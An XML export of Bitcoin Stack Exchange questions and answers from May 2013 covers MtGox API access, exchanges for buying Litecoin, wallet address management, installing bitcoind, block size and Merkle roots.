  <row Id="10446" PostTypeId="2" ParentId="10428" CreationDate="2013-05-01T02:49:51.180" Score="0" Body="&lt;p&gt;For one the url should be &lt;code&gt;websocket.mtgox.com/mtgox&lt;/code&gt;. Here is a &lt;a href=&quot;https://github.com/arthurpham/node-mtgox-socketio-client&quot; rel=&quot;nofollow&quot;&gt;sample project&lt;/a&gt; which uses the node.js socket.io library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont have much experience in C#, but here is an implementation in node.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var io = require('socket.io-client');&#xA;var socket = io.connect( 'https://socketio.mtgox.com/mtgox' );&#xA;&#xA;var message = {&#xA;  &quot;op&quot;: &quot;subscribe&quot;,&#xA;  &quot;channel&quot;: &quot;24e67e0d-1cad-4cc0-9e7a-f8523ef460fe&quot; // this is the market depth channel&#xA;};&#xA;&#xA;socket.send(JSON.stringify(message));&#xA;&#xA;socket.on('message', function(message) { console.log(message); });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will log market depth changes to the console.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-05-01T02:49:51.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10447" PostTypeId="1" AcceptedAnswerId="11770" CreationDate="2013-05-01T03:05:08.037" Score="24" ViewCount="183105" Body="&lt;p&gt;I know &lt;a href=&quot;http://litecoin.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Litecoin&lt;/a&gt; is sold on &lt;a href=&quot;https://www.coinbase.com/join/514b7813555892e90f0000bf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase&lt;/a&gt;, but I'm wondering if anyone has compiled a list or knows of other exchanges selling the currency? &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2017-12-20T15:33:11.403" LastActivityDate="2017-12-20T15:33:11.403" Title="Where can I buy Litecoin?" Tags="|exchanges|litecoin|" AnswerCount="6" CommentCount="2" ClosedDate="2022-09-19T20:45:48.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="10448" PostTypeId="2" ParentId="10447" CreationDate="2013-05-01T03:20:16.180" Score="11" Body="&lt;p&gt;There is a list of exchanges (and other businesses and tools) in the Litecoin wiki: &lt;a href=&quot;https://litecoin.info/Service_Directory#Market_exchanges&quot;&gt;https://litecoin.info/Service_Directory#Market_exchanges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="1489" LastEditDate="2013-11-22T18:30:59.327" LastActivityDate="2013-11-22T18:30:59.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10449" PostTypeId="2" ParentId="9987" CreationDate="2013-05-01T05:12:38.803" Score="3" Body="&lt;p&gt;Get the block count: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://blockchain.info/q/getblockcount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subtract 3 from that number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the transactions from the address you're looking for: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://blockchain.info/address/$bitcoin_address?format=json&amp;amp;limit=50&amp;amp;offset=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns 50 transactions by default, change the 'limit' value to wherever you might need it to be. Setting 'offset' to 5 will allow you to skip the first 5 transactions. Make sure you don't set offset to something greater than the total number of transactions on a particular address, it won't ever return anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set up your code to ignore any transaction that's newer than 3 blocks ago.&lt;/p&gt;&#xA;" OwnerUserId="4757" LastEditorUserId="2306" LastEditDate="2014-10-28T17:03:25.237" LastActivityDate="2014-10-28T17:03:25.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10450" PostTypeId="2" ParentId="1449" CreationDate="2013-05-01T05:56:39.963" Score="20" Body="&lt;p&gt;I did the following command on Ubuntu and it worked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install libdb++-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2013-05-01T05:56:39.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10451" PostTypeId="2" ParentId="10444" CreationDate="2013-05-01T06:04:31.697" Score="5" Body="&lt;p&gt;Any mining device can be used without alteration for mining a specific alt-chain, as long as the chain's proof of work is the same (double-SHA), and the size, encoding and position of the &lt;code&gt;timestamp&lt;/code&gt; and &lt;code&gt;nonce&lt;/code&gt; fields is the same in a block. The latter ensures that devices that increment those fields internally would not be altering other parts of the block header. As block speed is not a part of the header but an external constraint put on the specific cryptocoin, ASICs and other devices should be able to mine such blocks without a problem.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-01T06:04:31.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10452" PostTypeId="2" ParentId="10435" CreationDate="2013-05-01T06:07:54.677" Score="7" Body="&lt;p&gt;These are a few options available to Canadians:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Local Bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitbuy.ca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitBuy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinsquare.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;CoinSquare&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://quickcoin.ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;QuickCoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are also a few exchanges that &lt;a href=&quot;http://bitcoincharts.com/markets/currency/CAD.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;accept CAD deposits larger than $100&lt;/a&gt;:&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="15232" LastEditDate="2020-07-07T10:37:04.387" LastActivityDate="2020-07-07T10:37:04.387" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10453" PostTypeId="2" ParentId="10408" CreationDate="2013-05-01T06:25:47.063" Score="2" Body="&lt;p&gt;There's a &lt;em&gt;start&lt;/em&gt; and an &lt;em&gt;end&lt;/em&gt; that can be quoted, and only one is required although both can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want US$ per BTC data from a 24th April until now until now, use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=1366784293&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=1366784293&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want all US$ per BTC data until now, use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=1279424500&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=1279424500&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want all US$ per BTC data until 24th April 2013,:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=1279424500&amp;amp;end=1366784293&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/t/trades.csv?symbol=mtgoxUSD&amp;amp;start=1279424500&amp;amp;end=1366784293&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="1611" LastEditDate="2013-05-01T06:34:28.107" LastActivityDate="2013-05-01T06:34:28.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10455" PostTypeId="1" CreationDate="2013-05-01T07:52:30.970" Score="2" ViewCount="1308" Body="&lt;p&gt;To calculate EMAs, do I need to be recording all of the data coming through MtGox's websocket firehose and manually calculating it myself, or are there static calls I can make to the HTTP API to obtain these figures on demand? How can I obtain an EMA for historical data before I begin recording websocket-streamed data?&lt;/p&gt;&#xA;" OwnerUserId="4433" LastActivityDate="2013-06-30T09:43:05.973" Title="How do I obtain exponential moving averages using the MtGox API?" Tags="|mtgox|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10456" PostTypeId="2" ParentId="10455" CreationDate="2013-05-01T07:57:20.383" Score="2" Body="&lt;p&gt;Found &lt;em&gt;an&lt;/em&gt; answer almost straight away - the answer is to get the data from the BitcoinCharts.com API, rather than MtGox - &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoincharts.com/about/markets-api/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further info here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10408/bitcoin-charts-api-data&quot;&gt;Bitcoin Charts API Data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4433" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-05-01T09:07:56.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10457" PostTypeId="1" AcceptedAnswerId="10458" CreationDate="2013-05-01T08:26:38.547" Score="17" ViewCount="8515" Body="&lt;p&gt;What determines the number of transactions that can be validated in a block?&lt;/p&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="5406" LastEditDate="2015-05-08T10:04:58.213" LastActivityDate="2024-03-14T21:17:51.067" Title="What is the number of transactions in a block?" Tags="|transactions|block|blocksize|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10458" PostTypeId="2" ParentId="10457" CreationDate="2013-05-01T10:29:36.333" Score="14" Body="&lt;p&gt;The absolute limit is the size of the block, which is currently hard-coded at 1,000,000 bytes.  Each transaction takes up a variable amount of space, but ~250 bytes is about right for a simple (one-input one-output) transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as soon as a block is solved it is not possible to extend the block by adding in more transactions, as the proof of work has to be redone, so broadcasting it immediately is the only sensible thing to do. So the number of transactions in a block is actually a function of the number of transactions being generated over a time period and the time taken to solve a given block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks used to contain fewer than 200 transactions and the largest number of transactions in a block was 1,976 at the time this answer was originally written (May 2013). In meanwhile (November 2017) the average number of transaction per block is well above 1500 with peaks above 2200.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="-1" LastEditDate="2017-11-14T16:07:32.337" LastActivityDate="2017-11-14T16:07:32.337" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10460" PostTypeId="1" CreationDate="2013-05-01T13:36:42.543" Score="0" ViewCount="152" Body="&lt;p&gt;My wallet has 3 address. One main address is shared with my other computer. The other addresses are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does money belong to a specific address or to a whole wallet? What happen if I send money to one of my own addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happen if I delete some of the addresses?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-05-03T01:20:17.860" Title="How do I know how much each address own in a wallet?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10461" PostTypeId="1" CreationDate="2013-05-01T14:04:10.627" Score="1" ViewCount="946" Body="&lt;p&gt;I currently use Bitcoin-qt on OSX and I'm considering switching to Electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the advantages and disadvantages to using Electrum over another Bitcoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My two major concerns are security and ease of use. Is Electrum safe / trustworthy as a client?&lt;/p&gt;&#xA;" OwnerUserId="1216" LastActivityDate="2013-06-19T01:40:28.497" Title="What are some compelling reasons to use Electrum?" Tags="|client|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10463" PostTypeId="1" AcceptedAnswerId="10464" CreationDate="2013-05-01T15:41:20.350" Score="9" ViewCount="4007" Body="&lt;p&gt;Can a wallet allow you to receive Bitcoins from the same wallet you send them from, and if so, why would there be some reason why this shouldn't be done.&lt;/p&gt;&#xA;" OwnerUserId="4765" LastEditorUserId="5406" LastEditDate="2024-01-05T13:20:06.357" LastActivityDate="2024-01-05T13:20:06.357" Title="Can a wallet allow you to receive Bitcoins from the same wallet you send them from?" Tags="|wallet|privacy|consolidation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10464" PostTypeId="2" ParentId="10463" CreationDate="2013-05-01T15:45:42.637" Score="2" Body="&lt;p&gt;Some wallets do allow you to receive coins to the same addr they are sent from. But generally this is not a good idea; your transactions could be more easily traced this way.&lt;/p&gt;&#xA;" OwnerUserId="4767" LastEditorUserId="196" LastEditDate="2013-05-01T17:29:28.857" LastActivityDate="2013-05-01T17:29:28.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10465" PostTypeId="1" AcceptedAnswerId="10475" CreationDate="2013-05-01T17:13:50.963" Score="7" ViewCount="2676" Body="&lt;p&gt;Beside the examples that come with BitcoinJ and the documentation on Google Code, does anyone know of any tutorials for using BitcoinJ?&lt;/p&gt;&#xA;" OwnerUserId="4765" LastActivityDate="2013-06-14T15:18:35.357" Title="Tutorials for BitcoinJ" Tags="|bitcoinj|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10466" PostTypeId="2" ParentId="10463" CreationDate="2013-05-01T17:56:09.520" Score="2" Body="&lt;p&gt;You can send coins to any valid Bitcoin address, including one of your own. The only reason why this shouldn't be done is that one is paying the transaction fees to transfer money to their own addresses. On the other hand, it is not a bad idea if one of your addresses in a wallet is compromised, but then again that is a good reason to create a completely new wallet and transfer all the money there.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-01T17:56:09.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10467" PostTypeId="1" AcceptedAnswerId="10484" CreationDate="2013-05-01T18:37:20.907" Score="3" ViewCount="7327" Body="&lt;p&gt;I am trying to setup &lt;a href=&quot;http://drupal.org/project/commerce_bitcoin&quot; rel=&quot;nofollow&quot;&gt;a Drupal e-commerce solution&lt;/a&gt; with a payment gateway of accepting Bitcoins during checkout, but I need a bitcoin daemon installed. How do I go about installing the Bitcoin daemon in my &lt;a href=&quot;http://en.wikipedia.org/wiki/CentOS&quot; rel=&quot;nofollow&quot;&gt;CentOS&lt;/a&gt; installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a step-by-step guide on what I need to type to install this? It would be great if it can be installed via a package manager in CentOS. &lt;a href=&quot;http://en.wikipedia.org/wiki/Advanced_Packaging_Tool&quot; rel=&quot;nofollow&quot;&gt;apt-get&lt;/a&gt; doesn't seem to work for me.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="1405" LastEditDate="2013-05-01T22:41:39.970" LastActivityDate="2021-02-01T09:43:57.610" Title="How do I go about installing a Bitcoin daemon in CentOS Linux?" Tags="|commerce|ecommerce|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10468" PostTypeId="1" CreationDate="2013-05-01T18:44:50.417" Score="9" ViewCount="22773" Body="&lt;p&gt;I have a wallet with several addresses. I would like to isolate one of the addresses in its own wallet, but I don't know how to do it. I've been trying with pywallet.py, but I've been unable to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've made some progress:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I dumped my wallet with &lt;code&gt;pywallet.py --dumpwallet &amp;gt;wallet.json&lt;/code&gt;, and searched for the key I wanted to isolate, and wrote down the field named &lt;code&gt;sec&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then moved &lt;code&gt;wallet.dat&lt;/code&gt; to another folder, and started bitcoin-qt, so it generated a new wallet.&lt;/li&gt;&#xA;&lt;li&gt;Opened &lt;code&gt;Help -&amp;gt; Debug window -&amp;gt; console&lt;/code&gt; and run &lt;code&gt;importprivkey  XXXXXXXX mykeylabel&lt;/code&gt;. It took about 4 minutes to import the key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I still need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;remove this address from the old wallet.&lt;/li&gt;&#xA;&lt;li&gt;remove the default address in the new wallet, so it contains just the imported address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3995" LastEditorUserId="3995" LastEditDate="2013-05-01T20:29:27.130" LastActivityDate="2017-12-11T04:35:28.607" Title="How to move an address to a new wallet?" Tags="|wallet|address|wallet.dat|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10469" PostTypeId="1" AcceptedAnswerId="10512" CreationDate="2013-05-01T18:52:04.417" Score="2" ViewCount="6256" Body="&lt;p&gt;I have a Centos setup with the Yum package manager. How do you install Bitcoin Daemon using Yum? Or is it even possible right now?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2014-10-03T11:59:13.567" LastActivityDate="2014-10-03T11:59:13.567" Title="How do you install Bitcoin Daemon using Yum package manager?" Tags="|bitcoind|installation|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-02T15:39:01.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="10470" PostTypeId="1" CreationDate="2013-05-01T19:04:11.213" Score="1" ViewCount="1386" Body="&lt;p&gt;I'm developing a web site which should receive bitcoins and display the amount of received coins. As this is my first bitcoin experience I would like to know if the following scheme is secure enough:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning to run a web server and bitcoind with the encrypted wallet on a hosted server in a datacenter. No payments will be made through this bitcoind so the wallet will be locked all time and just will be used to monitor the transactions. The front end will communicate to bitcoind by JSON-RPC. There will be regular backups of the encrypted wallet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payments will only be done from another machine which has a copy of the wallet and is secure (both physically and from IT side).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this work?&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2013-05-02T13:56:18.287" Title="How to run a bitcoind on a hosting securely?" Tags="|client|security|hosting|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10471" PostTypeId="2" ParentId="10463" CreationDate="2013-05-01T19:20:30.020" Score="1" Body="&lt;p&gt;This is a fundamental way that wallets operate.  Your wallet is list of bitcoin addresses.  A typical transaction sends all of your money out of one of these addresses and back to a new one in your wallet, as well as to your recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean can an address receive coins it was sent, the answer is a resounding yes - that is exactly how satoshidice works, which at one point was the biggest mover of all bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="4143" LastActivityDate="2013-05-01T19:20:30.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10472" PostTypeId="1" CreationDate="2013-05-01T19:37:26.163" Score="11" ViewCount="8476" Body="&lt;p&gt;&lt;a href=&quot;http://www.butterflylabs.com/&quot;&gt;Butterfly Labs&lt;/a&gt; produces ASIC hardware for bitcoin mining. I guess it is cheap for them to produce a 1500 Ghash/sec machine. They could have many of them for a very reduced price. Why, instead of selling them, do not they use them for their own mining so they get more money? &lt;/p&gt;&#xA;" OwnerUserId="3851" LastEditorUserId="516" LastEditDate="2013-05-01T22:30:29.110" LastActivityDate="2014-02-18T21:04:53.767" Title="Why doesn't Butterfly Labs use their ASIC machines for their own mining process?" Tags="|butterfly-labs|" AnswerCount="11" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10473" PostTypeId="1" AcceptedAnswerId="10477" CreationDate="2013-05-01T19:44:12.137" Score="7" ViewCount="987" Body="&lt;p&gt;I have a wallet on my phone and second, Armory wallet on my computer.  How can I import the public keys from my phone into Armory so that Armory can watch the balance.  I don't want to import the private keys, just the public ones.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-05-02T12:05:43.830" Title="How can I import public keys into armory?" Tags="|armory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10474" PostTypeId="2" ParentId="10472" CreationDate="2013-05-01T19:53:02.587" Score="18" Body="&lt;p&gt;They are choosing a less risky option.  By selling now, they get the price of the machine no matter what happens to the BitCoin economy.   They are defining their core competency as being in the hardware business not the cryptocurrency business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same could be said for people selling pickaxes during the Gold Rush.  Why not use the pickaxes to mine gold?  They got the money for the pickaxes up front, then they were out of the picture.  They didn't have to choose a place to prospect and worry about how long the gold would last. They chose to be in the pickaxe business not the mining business.  Incidentally, during the Gold Rush it was these peripheral entrepreneurs that made much more than your typical gold miner.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-05-01T19:53:02.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10475" PostTypeId="2" ParentId="10465" CreationDate="2013-05-01T20:01:54.320" Score="5" Body="&lt;p&gt;There was a 3 part article in JavaWorld about bitcoinj in 2011. It is obviously a bit dated but is a thorough introduction to it. First part:&#xA;&lt;a href=&quot;http://javaworld.com/javaworld/jw-11-2011/111122-bitcoin-for-beginners-part-1.html&quot;&gt;http://javaworld.com/javaworld/jw-11-2011/111122-bitcoin-for-beginners-part-1.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-05-01T20:01:54.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10476" PostTypeId="1" CreationDate="2013-05-01T21:07:03.437" Score="1" ViewCount="1448" Body="&lt;p&gt;I want to test Solo mining on OS X with Diablo Miner, so I pass options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./DiabloMiner-OSX.sh -u my_user -p my_pass -r 8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[5/1/13 11:01:37 PM] Started                                         &#xA;[5/1/13 11:01:37 PM] Connecting to: http://localhost:8332/                           &#xA;[5/1/13 11:01:37 PM] Using Apple OpenCL 1.1 (Aug 10 2012 19:59:48)                       &#xA;[5/1/13 11:01:38 PM] Added GeForce 9600M GT (#1) (4 CU, local work size of 512)              &#xA;[5/1/13 11:01:38 PM] ERROR: Cannot connect to localhost: Connection refused                  &#xA;[5/1/13 11:01:38 PM] Added GeForce 9400M (#2) (2 CU, local work size of 512)                 &#xA;[5/1/13 11:01:38 PM] ERROR: Cannot connect to localhost: Connection refused                  &#xA;[5/1/13 11:01:38 PM] ERROR: Cannot connect to localhost: Connection refused                  &#xA;[5/1/13 11:01:39 PM] ERROR: Cannot connect to localhost: Connection refused &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the reason for this error?&lt;/p&gt;&#xA;" OwnerUserId="3851" LastActivityDate="2014-05-27T11:19:47.310" Title="Solo mining on OS X with Diablo Miner" Tags="|mac|solo-mining|diablominer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10477" PostTypeId="2" ParentId="10473" CreationDate="2013-05-01T21:35:14.820" Score="5" Body="&lt;p&gt;It's currently not possible with Armory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/issues/40&quot; rel=&quot;nofollow&quot;&gt;the issue for the feature request&lt;/a&gt;. The main developer of Armory is currently preparing a big change to the whole backbone of the client. The new backbone should make this possible.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;etotheipi told me this will be possible with the new wallets format.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/issues/40#issuecomment-12174660&quot; rel=&quot;nofollow&quot;&gt;comment on issue&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-02T12:05:43.830" LastActivityDate="2013-05-02T12:05:43.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10478" PostTypeId="2" ParentId="10470" CreationDate="2013-05-01T22:42:03.590" Score="1" Body="&lt;p&gt;If you are implementing the web server in Python, you can look at &lt;a href=&quot;https://bitcointalk.org/?topic=186.0&quot; rel=&quot;nofollow&quot;&gt;this BitcoinTalk post&lt;/a&gt; where the creator of one of the first Bitcoin Faucets, freebitcoins.appspot.com, shares his implementation.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-01T22:42:03.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10479" PostTypeId="1" AcceptedAnswerId="10487" CreationDate="2013-05-01T22:49:32.540" Score="62" ViewCount="67826" Body="&lt;p&gt;The Bitcoin wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Vocabulary&quot;&gt;Vocabulary article&lt;/a&gt; explains why the Merkle root exists:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Every transaction has a hash associated with it. In a block, all of&#xA;  the transaction hashes in the block are themselves hashed (sometimes&#xA;  several times -- the exact process is complex), and the result is the&#xA;  Merkle root. In other words, the Merkle root is the hash of all the&#xA;  hashes of all the transactions in the block. The Merkle root is&#xA;  included in the block header. With this scheme, it is possible to&#xA;  securely verify that a transaction has been accepted by the network&#xA;  (and get the number of confirmations) by downloading just the tiny&#xA;  block headers and Merkle tree -- downloading the entire block chain is&#xA;  unnecessary. This feature is currently not used in Bitcoin, but it&#xA;  will be in the future.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can you check if a transaction has been verified only using Merkle roots? How does that mechanism work?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-12-10T19:23:20.773" LastActivityDate="2019-11-06T03:35:40.247" Title="What is the Merkle root?" Tags="|transactions|blockchain|database|merkle-tree|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10480" PostTypeId="1" CreationDate="2013-05-01T23:13:02.327" Score="5" ViewCount="490" Body="&lt;p&gt;I read that if sha-256 was compromised at some point in the future, or for any other reason, bitcoin could switch to a different algorithm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can someone detail how exactly that would work, and what the implications to existing blocks would be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from my understanding, everything is hashed with sha-256, then another algorithm would be incompatible with all previous blocks....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can someone elaborate on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if bitcoin, or any cryptocurrency, switched algorithms, what would happen to people's current addresses and the ledger of transactions? In theory it should be very simple for major pools to switch to the new client, as has been done numerous times in cryptocurrency land, but I've never seen it done with a different algorithm.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2013-05-02T00:14:14.167" LastActivityDate="2013-05-02T00:35:49.640" Title="bitcoins can use different algorithm, how and implications" Tags="|blockchain|client|algorithms|sha256|hash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10481" PostTypeId="2" ParentId="10480" CreationDate="2013-05-02T00:01:49.420" Score="2" Body="&lt;p&gt;The only way to do this would be to announce a new version of the protocol well in advance. It would need to co-exist in the same blockchain with the existing keys and transactions and be adopted over time.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, the client software with support for the new scheme needs to see widespread adoption before anyone can use the new algorithm&lt;/li&gt;&#xA;&lt;li&gt;Once that has happened, early adopters (probably mining pools) can start creating keys in the new format and the blockchain will accept them.&lt;/li&gt;&#xA;&lt;li&gt;If that worked well, the standard client will default to making new keys&lt;/li&gt;&#xA;&lt;li&gt;Some more time down the road, everyone can agree that transactions can only be done to new keys, forcing the &quot;old money&quot; out of the system eventually&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin could in theory switch to use the SCrypt Litecoin algorithm. (hence there is no reason for Litecoin to exist) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think that would be a good move. If people decided that the Litecoin algorithm is better, they can just use Litecoin. Bitcoin should stick with its algorithm, but make adjustments to parameters such as key length when those become necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choice of algorithm should be choice of blockchain (Bitcoin vs Litecoin) and can be left to the &quot;market&quot; to decide.&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditDate="2013-05-02T00:35:49.640" LastActivityDate="2013-05-02T00:35:49.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
